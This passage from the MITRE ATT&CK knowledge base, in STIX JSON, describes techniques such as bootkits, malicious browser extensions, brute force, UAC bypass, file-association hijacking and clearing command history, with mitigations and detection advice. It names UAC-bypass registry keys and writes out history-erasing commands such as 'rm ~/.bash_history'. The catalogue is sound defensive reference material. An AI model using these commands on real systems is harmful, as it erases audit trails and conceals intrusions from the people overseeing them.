            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1067",
                    "external_id": "T1067"
                },
                {
                    "source_name": "Lau 2011",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
                },
                {
                    "source_name": "MTrends 2016",
                    "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "MBR",
                "VBR"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Browser Extensions Mitigation",
            "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1176",
                    "external_id": "T1176"
                },
                {
                    "source_name": "Technospot Chrome Extensions GP",
                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
                    "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Browser Extensions",
            "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control  (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may would prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1176",
                    "external_id": "T1176"
                },
                {
                    "source_name": "Wikipedia Browser Extension",
                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Browser%20extension"
                },
                {
                    "source_name": "Chrome Extensions Definition",
                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
                    "url": "https://developer.chrome.com/extensions"
                },
                {
                    "source_name": "Malicious Chrome Extension Numbers",
                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
                },
                {
                    "source_name": "Chrome Extension Crypto Miner",
                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
                },
                {
                    "source_name": "Banker Google Chrome Extension Steals Creds",
                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
                },
                {
                    "source_name": "Catch All Chrome Extension",
                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
                },
                {
                    "source_name": "Stantinko Botnet",
                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
                },
                {
                    "source_name": "Chrome Extension C2 Malware",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.",
                    "url": "https://kjaer.io/extension-malware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Justin Warner, ICEBRG"
            ],
            "x_mitre_data_sources": [
                "Network protocol analysis",
                "Packet capture",
                "System calls",
                "Process use of network",
                "Process monitoring",
                "Browser extensions"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "id": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c",
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Brute Force Mitigation",
            "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1110",
                    "external_id": "T1110"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "type": "attack-pattern",
            "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:22.767Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Brute Force",
            "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand",
            "kill_chain_phases": [
                {
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                    "phase_name": "credential-access"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1110",
                    "external_id": "T1110"
                },
                {
                    "source_name": "Wikipedia Password cracking",
                    "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
                    "url": "https://en.wikipedia.org/wiki/Password%20cracking"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf"
                },
                {
                    "source_name": "BlackHillsInfosec Password Spraying",
                    "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
                    "url": "http://www.blackhillsinfosec.com/?p=4645"
                }
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            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "id": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Bypass User Account Control Mitigation",
            "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1088",
                    "external_id": "T1088"
                },
                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "url": "https://github.com/hfiref0x/UACME"
                }
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            "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:07.462Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Bypass User Account Control",
            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings.  For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1088",
                    "external_id": "T1088"
                },
                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "TechNet Inside UAC",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
                },
                {
                    "source_name": "MSDN COM Elevation",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
                },
                {
                    "source_name": "Davidson Windows",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "url": "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html"
                },
                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "url": "https://github.com/hfiref0x/UACME"
                },
                {
                    "source_name": "enigma0x3 Fileless UAC Bypass",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
                },
                {
                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
                },
                {
                    "source_name": "SANS UAC Bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
                },
                {
                    "source_name": "enigma0x3 sdclt app paths",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
                },
                {
                    "source_name": "enigma0x3 sdclt bypass",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
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            "x_mitre_effective_permissions": [
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        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Change Default File Association Mitigation",
            "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1042",
                    "external_id": "T1042"
                },
                {
                    "source_name": "MSDN File Associations",
                    "description": "Microsoft. (n.d.).  Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/cc144156.aspx"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:42.222Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Change Default File Association",
            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1042",
                    "external_id": "T1042"
                },
                {
                    "source_name": "Microsoft Change Default Programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
                },
                {
                    "source_name": "Microsoft File Handlers",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
                }
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                "Process monitoring"
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            "x_mitre_permissions_required": [
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            "type": "course-of-action",
            "id": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Clear Command History Mitigation",
            "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved   (Citation: Securing bash history).",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1146",
                    "external_id": "T1146"
                },
                {
                    "source_name": "Securing bash history",
                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017."
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            "x_mitre_domains": [
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            "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Clear Command History",
            "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1146",
                    "external_id": "T1146"
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
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                    "external_id": "T1115"
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                {
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
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                    "source_name": "Corio 2008",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                    "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms649012"
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                    "source_name": "Operating with EmPyre",
                    "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
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            "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
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                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "TechNet Trusted Publishers",
                    "description": "Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.",
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                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code%20signing"
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                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
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                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
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                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
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            "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
